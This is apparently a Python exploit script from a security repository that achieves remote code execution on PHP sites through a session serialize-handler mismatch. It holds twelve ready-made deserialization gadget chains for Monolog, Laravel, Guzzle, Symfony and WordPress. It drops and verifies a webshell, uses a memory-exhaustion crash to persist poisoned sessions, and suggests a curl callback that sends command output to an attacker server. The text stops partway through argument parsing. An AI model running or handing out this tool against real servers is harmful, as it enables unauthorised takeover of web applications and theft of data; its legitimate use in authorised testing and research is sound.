Files
php2shell/session-deser/exploit.py
T
neko 7fecd435cc Session deserialization RCE via serialize_handler mismatch (no LFI)
Exploits the interaction between php_serialize and php session handlers:
when one endpoint writes sessions with php_serialize (Laravel, Symfony
default) and another reads with the php handler (PHP default), injected
pipe characters cause arbitrary deserialization at session_start().

12 built-in POP chains covering current and legacy library versions:
- monolog3-fw: Monolog 3.0+ (tested 3.12.1, latest)
- laravel10-cmd/fw: illuminate 10.0-13.x+ (tested v13.38.0, latest)
- monolog-cmd/fw: Monolog 1.17.2-2.x
- laravel-cmd/fw: illuminate 5.4-8.x
- guzzle-fw: Guzzle 4.0-7.x
- symfony-cmd/fw: Symfony 2.6-4.4.18
- wordpress-cmd/fw: WordPress 6.4.0-6.4.1

All chains tested end-to-end through the full HTTP exploit flow on
PHP 8.3. Accepts custom phpggc chains via --chain-file.
2026-10-21 20:47:37 +00:00

996 lines
38 KiB
Python
Executable File

#!/usr/bin/env python3
"""
PHP Session Deserialization RCE via Handler Mismatch
No LFI. No FPM. Works on any SAPI (mod_php, FPM, litespeed, etc.).
Exploits the combination of:
1. session.upload_progress writes attacker data to session files
2. A session.serialize_handler mismatch between two endpoints
3. A POP gadget chain in the application's autoloaded classes
When one endpoint uses php_serialize and another uses the default php
handler, the pipe character '|' injected into session data is
misinterpreted as a key/value delimiter, causing arbitrary
deserialization of attacker-controlled objects.
Two injection modes:
inject (primary, full POP chain support)
Target has an endpoint that stores POST data in $_SESSION via
php_serialize handler. Attacker sends |<serialized_chain> as
a POST value. A second request to a php-handler endpoint
triggers deserialization when session_start() reads the file.
progress (no app involvement, limited chains)
Uses session.upload_progress to inject '|' via the upload
filename. No application session storage needed, but the
multipart parser truncates NULL bytes in filenames, so the
POP chain can only use public properties. Combined with
OOM crash (CVE-2026-109618) to persist past cleanup.
Handler mismatch is common in the wild:
- Laravel sets php_serialize in its bootstrap; any non-Laravel
PHP on the same vhost (phpMyAdmin, admin scripts, legacy code)
uses the default php handler
- Symfony configures php_serialize; adjacent apps may not
- Mixed old/new codebases on shared hosting
Requirements:
- session.upload_progress.enabled = 1 (default, for progress mode)
- Two endpoints with different session.serialize_handler settings
- A POP gadget chain in autoloaded classes
- session.save_handler = files (default)
Built-in chains (--chain):
monolog3-fw Monolog 3.0+ FW (CURRENT) --write-path /path/shell.php
monolog-cmd Monolog 1.17.2-2.x RCE --cmd 'id'
monolog-fw Monolog 1.17.2-2.x FW --write-path /path/shell.php
laravel10-cmd Laravel 10.0-13.x+ (CURRENT) --cmd 'id'
laravel10-fw Laravel 10.0-13.x+ (CURRENT) --write-path /path/shell.php
laravel-cmd Laravel/Illuminate 5.4-8.x --cmd 'id'
laravel-fw Laravel/Illuminate 5.4-8.x --write-path /path/shell.php
guzzle-fw Guzzle 4.0-7.x FW --write-path /path/shell.php
symfony-cmd Symfony 2.6-4.4.18 RCE --cmd 'id'
symfony-fw Symfony 2.6-4.4.18 FW --write-path /path/shell.php
wordpress-cmd WordPress 6.4.0-6.4.1 RCE --cmd 'id' (NULL-free)
wordpress-fw WordPress 6.4.0-6.4.1 FW --write-path /path/shell.php
Custom chains (--chain-file):
phpggc Laravel/RCE1 system id > chain.bin
python3 exploit.py ... --chain-file chain.bin
Tested: PHP 8.0-8.4, Linux, mod_php and PHP-FPM.
Usage:
# Inject mode (most practical):
python3 exploit.py --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain monolog-fw \\
--write-path /var/www/html/s.php
# Inject mode with direct command execution:
python3 exploit.py --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain monolog-cmd --cmd 'id'
# Custom phpggc chain (raw or base64):
phpggc Monolog/RCE1 system id > chain.bin
python3 exploit.py --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain-file chain.bin
# Progress mode (no app session injection needed):
python3 exploit.py --mode progress \\
--write-url http://target/serialize.php \\
--trigger-url http://target/default.php \\
--chain-file chain_pub.bin
"""
import argparse
import base64
import os
import re
import socket
import sys
import time
import urllib.parse
from urllib.parse import urlparse
# ═══════════════════════════════════════════════════════════════════════
# PHP serialization
# ═══════════════════════════════════════════════════════════════════════
def php_str(s):
if isinstance(s, str):
s = s.encode()
return b"s:" + str(len(s)).encode() + b':"' + s + b'";'
def php_int(n):
return b"i:" + str(n).encode() + b";"
def php_bool(v):
return b"b:" + (b"1" if v else b"0") + b";"
def php_null():
return b"N;"
def php_arr(entries):
body = b"".join(k + v for k, v in entries)
return b"a:" + str(len(entries)).encode() + b":{" + body + b"}"
def php_obj(cls, props):
body = b"".join(k + v for k, v in props)
cn = cls.encode() if isinstance(cls, str) else cls
return (b"O:" + str(len(cn)).encode() + b':"' + cn + b'":'
+ str(len(props)).encode() + b":{" + body + b"}")
def php_enum(cls, case):
label = f"{cls}:{case}"
return b"E:" + str(len(label)).encode() + b':"' + label.encode() + b'";'
def php_datetime_immutable():
from datetime import datetime, timezone
now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S.000000")
return php_obj("DateTimeImmutable", [
(php_str("date"), php_str(now)),
(php_str("timezone_type"), php_int(3)),
(php_str("timezone"), php_str("UTC")),
])
def prot(name):
n = name.encode() if isinstance(name, str) else name
return php_str(b"\x00*\x00" + n)
def priv(cls, name):
c = cls.encode() if isinstance(cls, str) else cls
n = name.encode() if isinstance(name, str) else name
return php_str(b"\x00" + c + b"\x00" + n)
# ═══════════════════════════════════════════════════════════════════════
# POP gadget chains
# ═══════════════════════════════════════════════════════════════════════
def _rce1_chain(func, param):
"""Monolog/RCE1 gadget (1.4.1-1.6.0, 1.17.2-2.7.0+).
SyslogUdpHandler.__destruct (inherited AbstractHandler.__destruct)
-> close()
-> $this->socket->close() socket = BufferHandler
BufferHandler::close -> flush
-> $this->handler->handleBatch($this->buffer) handler = $this (self-ref)
AbstractHandler::handleBatch -> foreach handle($record)
BufferHandler::handle -> call_user_func($processor, $record) for each processor
processors[0] = 'current' -> current([$param, 'level'=>null]) = $param
processors[1] = $func -> $func($param)
"""
# r:2 is a PHP serialization back-reference to object #2, the BufferHandler
# itself. This creates the self-referencing handler=$this that phpggc uses.
# We build it by hand: emit SyslogUdpHandler wrapping BufferHandler,
# with handler pointing back to the BufferHandler via reference.
record = php_arr([
(php_int(0), php_str(param)),
(php_str("level"), php_null()),
])
buf = php_obj("Monolog\\Handler\\BufferHandler", [
(prot("handler"), b"r:2;"), # back-ref to self (object index 2)
(prot("bufferSize"), php_int(-1)),
(prot("buffer"), php_arr([(php_int(0), record)])),
(prot("level"), php_null()),
(prot("initialized"), php_bool(True)),
(prot("bufferLimit"), php_int(-1)),
(prot("processors"), php_arr([
(php_int(0), php_str("current")),
(php_int(1), php_str(func)),
])),
])
return php_obj("Monolog\\Handler\\SyslogUdpHandler", [
(prot("socket"), buf),
])
def chain_monolog_fw(write_path, shell_code):
"""Monolog file write via system() (1.4.1-1.6.0, 1.17.2-2.x).
Uses the Monolog/RCE1 gadget to call system() with a printf command
that writes shell_code to write_path.
Requires monolog/monolog (production dep in Laravel, Symfony, etc.).
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return _rce1_chain("system", cmd)
def chain_monolog_cmd(cmd):
"""Monolog RCE via system() (1.4.1-1.6.0, 1.17.2-2.x).
Uses the Monolog/RCE1 gadget to call system($cmd).
Requires monolog/monolog (production dep in Laravel, Symfony, etc.).
"""
return _rce1_chain("system", cmd)
def chain_monolog3_fw(write_path, shell_code):
"""Monolog file write via DeduplicationHandler (3.0.0+, current).
GroupHandler.__destruct (inherited from Handler)
-> close()
-> foreach $this->handlers: $handler->close()
DeduplicationHandler::close -> flush()
-> file_put_contents($this->deduplicationStore, $line, FILE_APPEND)
Written format: "timestamp:DEBUG:message\\n"
PHP ignores content before <?php, so the prefix is harmless.
Monolog 3.x uses typed properties (PHP 8.1+ enums for Level),
so the Monolog 2.x RCE1 chain fails. This chain uses GroupHandler
as entry (array-typed handlers property) and DeduplicationHandler
as sink (file_put_contents with controlled path and message).
Requires monolog/monolog 3.0+ (production dep in Laravel 10+,
Symfony 6+, and many other frameworks).
"""
shell_code_clean = shell_code.replace("\r", " ").replace("\n", " ")
log_record = php_obj("Monolog\\LogRecord", [
(php_str("level"), php_enum("Monolog\\Level", "Debug")),
(php_str("message"), php_str(shell_code_clean)),
(php_str("datetime"), php_datetime_immutable()),
])
dedup = php_obj("Monolog\\Handler\\DeduplicationHandler", [
(prot("deduplicationStore"), php_str(write_path)),
(prot("bufferSize"), php_int(1)),
(prot("buffer"), php_arr([(php_int(0), log_record)])),
(prot("deduplicationLevel"), php_enum("Monolog\\Level", "Debug")),
])
return php_obj("Monolog\\Handler\\GroupHandler", [
(prot("handlers"), php_arr([(php_int(0), dedup)])),
])
def chain_laravel_cmd(cmd):
"""Laravel RCE via PendingBroadcast (5.4.0-8.6.9+).
PendingBroadcast.__destruct
-> $this->events->dispatch($this->event)
Dispatcher::dispatch($event)
-> foreach $this->listeners[$event] as $listener: $listener($event)
-> system($cmd)
$this->event = $cmd (the command string)
$this->listeners[$cmd] = ['system']
Requires illuminate/events + illuminate/broadcasting
(always present in Laravel).
"""
dispatcher = php_obj("Illuminate\\Events\\Dispatcher", [
(prot("listeners"), php_arr([
(php_str(cmd), php_arr([
(php_int(0), php_str("system")),
])),
])),
])
return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [
(prot("events"), dispatcher),
(prot("event"), php_str(cmd)),
])
def chain_laravel_fw(write_path, shell_code):
"""Laravel file write via system() (5.4.0-8.6.9+).
Same PendingBroadcast gadget, calls system() with a write command.
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return chain_laravel_cmd(cmd)
def chain_laravel10_cmd(cmd):
"""Laravel RCE via PendingBroadcast + CommonMark (10.0-13.x+, current).
PendingBroadcast.__destruct
-> $this->events->dispatch($this->event)
Environment::dispatch($event)
-> foreach listenerData as prioritized listeners
-> ListenerData->listener is ChainedBatchTruthTest
ChainedBatchTruthTest::__invoke($event)
-> call_user_func($this->callback, $event)
-> system($cmd)
Channel.__toString returns $this->name, so $event becomes the
command string when passed to system().
Requires illuminate/broadcasting + league/commonmark (both present
in all Laravel 10+ installations).
"""
env_cls = "League\\CommonMark\\Environment\\Environment"
list_cls = "League\\CommonMark\\Util\\PrioritizedList"
ld_cls = "League\\CommonMark\\Event\\ListenerData"
truth_test = php_obj(
"Illuminate\\Support\\Testing\\Fakes\\ChainedBatchTruthTest", [
(prot("callback"), php_str("system")),
])
listener_data = php_obj(ld_cls, [
(priv(ld_cls, "event"),
php_str("\\Illuminate\\Broadcasting\\Channel")),
(priv(ld_cls, "listener"), truth_test),
])
plist = php_obj(list_cls, [
(priv(list_cls, "list"), php_arr([
(php_int(0), php_arr([(php_int(0), listener_data)])),
])),
])
environment = php_obj(env_cls, [
(priv(env_cls, "extensionsInitialized"), php_bool(True)),
(priv(env_cls, "listenerData"), plist),
])
channel = php_obj("Illuminate\\Broadcasting\\Channel", [
(php_str("name"), php_str(cmd)),
])
return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [
(prot("events"), environment),
(prot("event"), channel),
])
def chain_laravel10_fw(write_path, shell_code):
"""Laravel file write via system() (10.0-13.x+, current).
Same PendingBroadcast + CommonMark gadget, calls system() with a
write command.
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return chain_laravel10_cmd(cmd)
def chain_guzzle_fw(write_path, data):
"""Guzzle file write via FileCookieJar (4.0.0-7.x, patched in 8.0).
FileCookieJar.__destruct -> save()
-> file_put_contents($this->filename, json_encode(...))
Writes JSON-encoded cookie data. The 'Value' field holds the payload.
The written file contains JSON wrapping around the payload.
PHP ignores everything before <?php, so a webshell embedded in the
Value field works when accessed via HTTP. Use single quotes in the
shell code to avoid JSON backslash escaping (double quotes become
\" in JSON output, which breaks PHP parsing).
Guzzle 8.0+ added __unserialize() that throws on deserialization.
Requires guzzlehttp/guzzle (extremely common HTTP client).
"""
cookie = php_obj("GuzzleHttp\\Cookie\\SetCookie", [
(priv("GuzzleHttp\\Cookie\\SetCookie", "data"), php_arr([
(php_str("Expires"), php_int(1)),
(php_str("Discard"), php_bool(False)),
(php_str("Value"), php_str(data)),
])),
])
jar = php_obj("GuzzleHttp\\Cookie\\FileCookieJar", [
(priv("GuzzleHttp\\Cookie\\CookieJar", "cookies"), php_arr([
(php_int(0), cookie),
])),
(priv("GuzzleHttp\\Cookie\\CookieJar", "strictMode"), php_bool(False)),
(priv("GuzzleHttp\\Cookie\\FileCookieJar", "filename"), php_str(write_path)),
(priv("GuzzleHttp\\Cookie\\FileCookieJar", "storeSessionCookies"), php_bool(True)),
])
return jar
def chain_symfony_cmd(cmd):
"""Symfony RCE via WindowsPipes (2.6.0-4.4.18).
WindowsPipes.__destruct -> close -> foreach $this->fileHandles: fclose($h)
$fileHandles is a SortableIterator wrapping an ArrayObject:
SortableIterator implements IteratorAggregate
getIterator() calls usort($array, $this->sort) where sort='call_user_func'
usort compares elements via call_user_func($a, $b)
ArrayObject contains [$function, $parameter]
-> call_user_func('system', $cmd)
Requires symfony/finder + symfony/process (present in all Symfony apps).
"""
arr = php_obj("ArrayObject", [
(php_int(0), php_str(cmd)),
(php_int(1), php_str("system")),
])
# ArrayObject serializes differently: uses C: format
# We need to use the C: custom serialization format for ArrayObject
# Use O: format (works for ArrayObject deserialization):
# i:0 = flags(0), i:1 = storage array, i:2 = members(empty), i:3 = null
# Storage: [0 => $func, 1 => $param] so uasort compares call_user_func($func, $param)
arr = (b'O:11:"ArrayObject":4:{i:0;i:0;i:1;a:2:{i:0;s:6:"system";i:1;'
+ php_str(cmd) + b"}i:2;a:0:{}i:3;N;}")
sortable = php_obj("Symfony\\Component\\Finder\\Iterator\\SortableIterator", [
(priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "iterator"), arr),
(priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "sort"), php_str("call_user_func")),
])
return php_obj("Symfony\\Component\\Process\\Pipes\\WindowsPipes", [
(priv("Symfony\\Component\\Process\\Pipes\\WindowsPipes", "fileHandles"), sortable),
])
def chain_symfony_fw(write_path, shell_code):
"""Symfony file write via system() (2.6.0-4.4.18).
Same WindowsPipes gadget, calls system() with a write command.
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return chain_symfony_cmd(cmd)
def chain_wordpress_cmd(cmd):
"""WordPress RCE via WP_HTML_Token (6.4.0-6.4.1).
WP_HTML_Token.__destruct
-> ($this->on_destroy)($this->bookmark_name)
-> system($cmd)
Uses only PUBLIC properties, so this chain works in progress mode
(no NULL bytes from protected/private property names).
Requires WordPress 6.4.0 or 6.4.1 (patched in 6.4.2).
"""
return php_obj("WP_HTML_Token", [
(php_str("bookmark_name"), php_str(cmd)),
(php_str("on_destroy"), php_str("system")),
])
def chain_wordpress_fw(write_path, shell_code):
"""WordPress file write via WP_HTML_Token (6.4.0-6.4.1).
Same gadget, calls system() with a write command.
Public properties only: works in progress mode.
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return chain_wordpress_cmd(cmd)
CHAINS = {
"monolog3-fw": {"type": "fw", "fn": chain_monolog3_fw, "lib": "monolog/monolog 3.0+"},
"monolog-cmd": {"type": "cmd", "fn": chain_monolog_cmd, "lib": "monolog/monolog 1.17.2-2.x"},
"monolog-fw": {"type": "fw", "fn": chain_monolog_fw, "lib": "monolog/monolog 1.17.2-2.x"},
"laravel10-cmd": {"type": "cmd", "fn": chain_laravel10_cmd, "lib": "illuminate 10.0-13.x+"},
"laravel10-fw": {"type": "fw", "fn": chain_laravel10_fw, "lib": "illuminate 10.0-13.x+"},
"laravel-cmd": {"type": "cmd", "fn": chain_laravel_cmd, "lib": "illuminate 5.4-8.x"},
"laravel-fw": {"type": "fw", "fn": chain_laravel_fw, "lib": "illuminate 5.4-8.x"},
"guzzle-fw": {"type": "fw", "fn": chain_guzzle_fw, "lib": "guzzlehttp/guzzle 4.0-7.x"},
"symfony-cmd": {"type": "cmd", "fn": chain_symfony_cmd, "lib": "symfony 2.6-4.4.18"},
"symfony-fw": {"type": "fw", "fn": chain_symfony_fw, "lib": "symfony 2.6-4.4.18"},
"wordpress-cmd": {"type": "cmd", "fn": chain_wordpress_cmd, "lib": "WordPress 6.4.0-6.4.1"},
"wordpress-fw": {"type": "fw", "fn": chain_wordpress_fw, "lib": "WordPress 6.4.0-6.4.1"},
}
# ═══════════════════════════════════════════════════════════════════════
# HTTP helpers (raw sockets for binary payloads)
# ═══════════════════════════════════════════════════════════════════════
def tcp_connect(host, port, tls, timeout=30):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def status_code(resp):
try:
return int(resp.split(b" ")[1])
except (IndexError, ValueError):
return 0
def body_of(resp):
if b"\r\n\r\n" not in resp:
return resp
hdr, raw = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in hdr.lower():
out, data = b"", raw
while data:
nl = data.find(b"\r\n")
if nl < 0:
break
try:
clen = int(data[:nl].split(b";")[0].strip(), 16)
except ValueError:
break
if clen == 0:
break
out += data[nl+2:nl+2+clen]
data = data[nl+2+clen+2:]
return out
return raw
def extract_cookies(resp):
cookies = {}
for line in resp.split(b"\r\n"):
if line.lower().startswith(b"set-cookie:"):
cookie_str = line.split(b":", 1)[1].strip()
kv = cookie_str.split(b";")[0]
if b"=" in kv:
k, v = kv.split(b"=", 1)
cookies[k.strip().decode()] = v.strip().decode()
return cookies
def http_get(host, port, tls, path, cookies=None, timeout=10):
sock = tcp_connect(host, port, tls, timeout)
req = (
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
)
if cookies:
req += b"Cookie: " + cookies.encode() + b"\r\n"
req += b"Connection: close\r\n\r\n"
sock.sendall(req)
resp = recv_all(sock, timeout)
sock.close()
return resp
def http_post_form(host, port, tls, path, body_bytes, cookies=None, timeout=10):
sock = tcp_connect(host, port, tls, timeout)
req = (
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: " + str(len(body_bytes)).encode() + b"\r\n"
)
if cookies:
req += b"Cookie: " + cookies.encode() + b"\r\n"
req += b"Connection: close\r\n\r\n"
sock.sendall(req + body_bytes)
resp = recv_all(sock, timeout)
sock.close()
return resp
# ═══════════════════════════════════════════════════════════════════════
# Progress mode: multipart with upload progress + OOM
# ═══════════════════════════════════════════════════════════════════════
def escape_filename(raw):
"""Escape bytes for Content-Disposition filename= quoted string.
NULL bytes are NOT supported (PHP truncates at \\x00)."""
out = b""
for byte in raw:
if byte == ord('"'):
out += b'\\"'
elif byte == ord('\\'):
out += b'\\\\'
elif byte == 0:
raise ValueError("NULL bytes cannot appear in multipart filenames")
else:
out += bytes([byte])
return out
def mp_field(bnd, name, value):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n")
def mp_file_with_name(bnd, fieldname, filename_raw, content):
escaped = escape_filename(filename_raw)
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + fieldname
+ b'"; filename="' + escaped + b'"\r\n'
b"Content-Type: application/octet-stream\r\n"
b"\r\n" + content + b"\r\n")
def mp_end(bnd):
return b"--" + bnd + b"--\r\n"
def progress_inject_oom(host, port, tls, path, sid, chain_bytes,
fields=30000, fsize=512):
"""Inject chain via upload progress filename + OOM crash.
The filename contains |<chain>. PHP stores it in the upload
progress data in the session file. OOM crash skips cleanup,
leaving the poisoned session on disk.
NOTE: chain_bytes must not contain NULL bytes (multipart parser
limitation). Use only chains with public properties.
"""
bnd = b"----DESER" + os.urandom(8).hex().encode()
filename_payload = b"x|" + chain_bytes
body = b""
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"deser")
body += mp_file_with_name(bnd, b"file", filename_payload, b"\x00" * 4096)
for i in range(fields):
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
body += mp_end(bnd)
sock = tcp_connect(host, port, tls, timeout=120)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
try:
sock.sendall(body)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
resp = recv_all(sock, timeout=10)
sock.close()
return status_code(resp)
# ═══════════════════════════════════════════════════════════════════════
# Exploit logic
# ═══════════════════════════════════════════════════════════════════════
def run_inject(args, chain_bytes):
"""Inject mode: POST chain into session, trigger via handler mismatch."""
inj = urlparse(args.inject_url)
trg = urlparse(args.trigger_url)
inj_tls = inj.scheme == "https"
trg_tls = trg.scheme == "https"
inj_host = inj.hostname or "127.0.0.1"
trg_host = trg.hostname or "127.0.0.1"
inj_port = inj.port or (443 if inj_tls else 80)
trg_port = trg.port or (443 if trg_tls else 80)
inj_path = inj.path or "/"
trg_path = trg.path or "/"
if inj.query:
inj_path += "?" + inj.query
if trg.query:
trg_path += "?" + trg.query
# The payload: | followed by serialized chain
# When php_serialize stores this in the session file as a
# length-prefixed string, the | is preserved. When the php
# handler reads the file, it finds | and deserializes what follows.
payload = b"|" + chain_bytes
print("[*] Phase 1: obtaining session ID from inject endpoint...")
probe = http_get(inj_host, inj_port, inj_tls, inj_path, timeout=5)
cookies = extract_cookies(probe)
sid = cookies.get("PHPSESSID", os.urandom(16).hex())
print(f" PHPSESSID: {sid}")
print(f"[*] Phase 2: injecting serialized chain via '{args.inject_param}'...")
print(f" Payload size: {len(payload)} bytes")
# URL-encode the binary payload for form POST
encoded_param = args.inject_param.encode() + b"="
encoded_value = urllib.parse.quote(payload, safe=b"").encode()
post_body = encoded_param + encoded_value
resp = http_post_form(
inj_host, inj_port, inj_tls, inj_path,
post_body,
cookies=f"PHPSESSID={sid}",
timeout=10,
)
sc = status_code(resp)
print(f" Response: HTTP {sc}")
if sc not in (200, 301, 302, 303, 204):
print(f" [!] Unexpected status. Session may not have been written.")
print("[*] Phase 3: triggering deserialization via handler mismatch...")
print(f" GET {args.trigger_url} (php handler reads session with pipe delimiter)")
resp2 = http_get(
trg_host, trg_port, trg_tls, trg_path,
cookies=f"PHPSESSID={sid}",
timeout=10,
)
sc2 = status_code(resp2)
body2 = body_of(resp2).decode(errors="replace")
print(f" Response: HTTP {sc2}")
return sid, sc2, body2
def run_progress(args, chain_bytes):
"""Progress mode: inject via upload progress filename + OOM crash."""
wr = urlparse(args.write_url)
trg = urlparse(args.trigger_url)
wr_tls = wr.scheme == "https"
trg_tls = trg.scheme == "https"
wr_host = wr.hostname or "127.0.0.1"
trg_host = trg.hostname or "127.0.0.1"
wr_port = wr.port or (443 if wr_tls else 80)
trg_port = trg.port or (443 if trg_tls else 80)
wr_path = wr.path or "/"
trg_path = trg.path or "/"
if b"\x00" in chain_bytes:
print("[!] Chain contains NULL bytes. Progress mode cannot inject NULLs")
print(" via multipart filenames (PHP truncates at \\x00).")
print(" Use --mode inject, or provide a NULL-free chain.")
sys.exit(1)
sid = os.urandom(16).hex()
print(f"[*] Session ID: {sid}")
print("[*] Phase 1: injecting chain via upload progress + OOM crash...")
print(f" Fields: {args.fields} x {args.field_size}B")
sc = progress_inject_oom(
wr_host, wr_port, wr_tls, wr_path, sid,
chain_bytes, args.fields, args.field_size,
)
if sc in (502, 0):
print(f" [+] Worker crashed (HTTP {sc or 'reset'})")
elif sc == 500:
print(f" [+] HTTP 500 (OOM during script)")
else:
print(f" [!] HTTP {sc} — may not have OOMed")
print(" Waiting for new worker...")
time.sleep(2)
for _ in range(8):
try:
r = http_get(wr_host, wr_port, wr_tls, wr_path, timeout=3)
if status_code(r) in (200, 301, 302, 403, 404):
print(" New worker ready")
break
except Exception:
pass
time.sleep(1)
print("[*] Phase 2: triggering deserialization via handler mismatch...")
resp = http_get(
trg_host, trg_port, trg_tls, trg_path,
cookies=f"PHPSESSID={sid}",
timeout=10,
)
sc2 = status_code(resp)
body2 = body_of(resp).decode(errors="replace")
print(f" Response: HTTP {sc2}")
return sid, sc2, body2
def run(args):
# Build or load chain
if args.chain_file:
with open(args.chain_file, "rb") as f:
chain_bytes = f.read().rstrip(b"\n\r")
if not chain_bytes.startswith(b"O:") and not chain_bytes.startswith(b"a:"):
try:
chain_bytes = base64.b64decode(chain_bytes)
except Exception:
pass
print(f"[*] Loaded chain from {args.chain_file} ({len(chain_bytes)} bytes)")
elif args.chain in CHAINS:
info = CHAINS[args.chain]
if info["type"] == "fw":
if not args.write_path:
print(f"[!] --write-path required for {args.chain} chain")
print(" e.g., --write-path /var/www/html/shell.php")
sys.exit(1)
shell = args.shell_code or "<?php system($_GET['c']); ?>"
chain_bytes = info["fn"](args.write_path, shell)
print(f"[*] Built {args.chain} chain ({info['lib']}): writes to {args.write_path}")
else:
if not args.cmd:
print(f"[!] --cmd required for {args.chain} chain")
sys.exit(1)
chain_bytes = info["fn"](args.cmd)
print(f"[*] Built {args.chain} chain ({info['lib']}): system('{args.cmd}')")
else:
print("[!] Specify --chain or --chain-file")
print(" Available chains: " + ", ".join(CHAINS.keys()))
sys.exit(1)
print(f"[*] Chain size: {len(chain_bytes)} bytes")
has_nulls = b"\x00" in chain_bytes
if has_nulls:
print("[*] Chain contains NULL bytes (normal for protected/private props)")
print()
print("=" * 65)
print(" PHP Session Deserialization RCE — Handler Mismatch")
print(" No LFI. No FPM dependency.")
print("=" * 65)
print(f" Mode : {args.mode}")
if args.mode == "inject":
print(f" Inject URL : {args.inject_url}")
print(f" Inject param: {args.inject_param}")
else:
print(f" Write URL : {args.write_url}")
print(f" Trigger URL: {args.trigger_url}")
if args.chain_file:
print(f" Chain : {args.chain_file}")
else:
print(f" Chain : {args.chain}")
print()
if args.mode == "inject":
sid, sc, body = run_inject(args, chain_bytes)
else:
sid, sc, body = run_progress(args, chain_bytes)
# Post-exploit for fw chains: verify the webshell was written
chain_info = CHAINS.get(args.chain, {})
if chain_info.get("type") == "fw" and args.write_path:
print()
print("[*] Phase 4: verifying webshell...")
# Guess the webshell URL from write_path
# /var/www/html/shell.php -> /shell.php
shell_rel = args.write_path
for prefix in ["/var/www/html", "/var/www", "/srv/http",
"/usr/share/nginx/html"]:
if shell_rel.startswith(prefix):
shell_rel = shell_rel[len(prefix):]
break
trg = urlparse(args.trigger_url)
trg_tls = trg.scheme == "https"
trg_host = trg.hostname or "127.0.0.1"
trg_port = trg.port or (443 if trg_tls else 80)
verify_url = shell_rel + "?c=id"
try:
resp = http_get(trg_host, trg_port, trg_tls, verify_url, timeout=5)
vbody = body_of(resp).decode(errors="replace")
if "uid=" in vbody:
print(f" [+] Webshell works!")
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(vbody.strip())
print("[+] ══════════════════════════════════════════")
print()
print(f"[+] Webshell: {trg.scheme}://{trg_host}:{trg_port}{shell_rel}?c=CMD")
return
else:
print(f" [!] Webshell not responding yet (HTTP {status_code(resp)})")
except Exception as e:
print(f" [!] Could not verify: {e}")
if chain_info.get("type") == "cmd":
# Command output may be in the trigger response itself,
# or it may have run as a side effect (no visible output).
print()
if body.strip():
print("[+] Trigger response body:")
print(body[:500])
print()
print("[*] Command was executed during deserialization (__destruct).")
print(" If output is not visible, use a callback payload:")
print(f" --cmd 'curl http://YOUR_SERVER/?r=$(id|base64)'")
print()
print("[*] Deserialization triggered. If no RCE:")
print(" - Verify the handler mismatch (inject=php_serialize, trigger=php)")
print(" - Verify the POP chain matches the target's libraries")
print(" - Try phpggc to generate a chain for the exact versions:")
print(" phpggc -l | grep RCE")
print(f" - Session ID was: {sid}")
def main():
ap = argparse.ArgumentParser(
description="PHP Session Deserialization RCE via Handler Mismatch",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
No LFI. No FPM. RCE via session.serialize_handler mismatch.
Examples:
# Inject mode with Monolog file write (drops webshell):
%(prog)s --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain monolog-fw --write-path /var/www/html/s.php
# Inject mode with direct command execution:
%(prog)s --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain monolog-cmd --cmd 'id'
# Custom phpggc chain (raw or base64):
phpggc Monolog/RCE1 system id > chain.bin
%(prog)s --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain-file chain.bin
# Progress mode (no app session injection needed):
%(prog)s --mode progress \\
--write-url http://target/serialize_ep.php \\
--trigger-url http://target/php_ep.php \\
--chain-file chain_nofull.bin
""")
ap.add_argument("--mode", choices=["inject", "progress"], default="inject",
help="Injection mode (default: inject)")
ap.add_argument("--inject-url",
help="URL of endpoint that stores POST data in session "
"(must use php_serialize handler)")
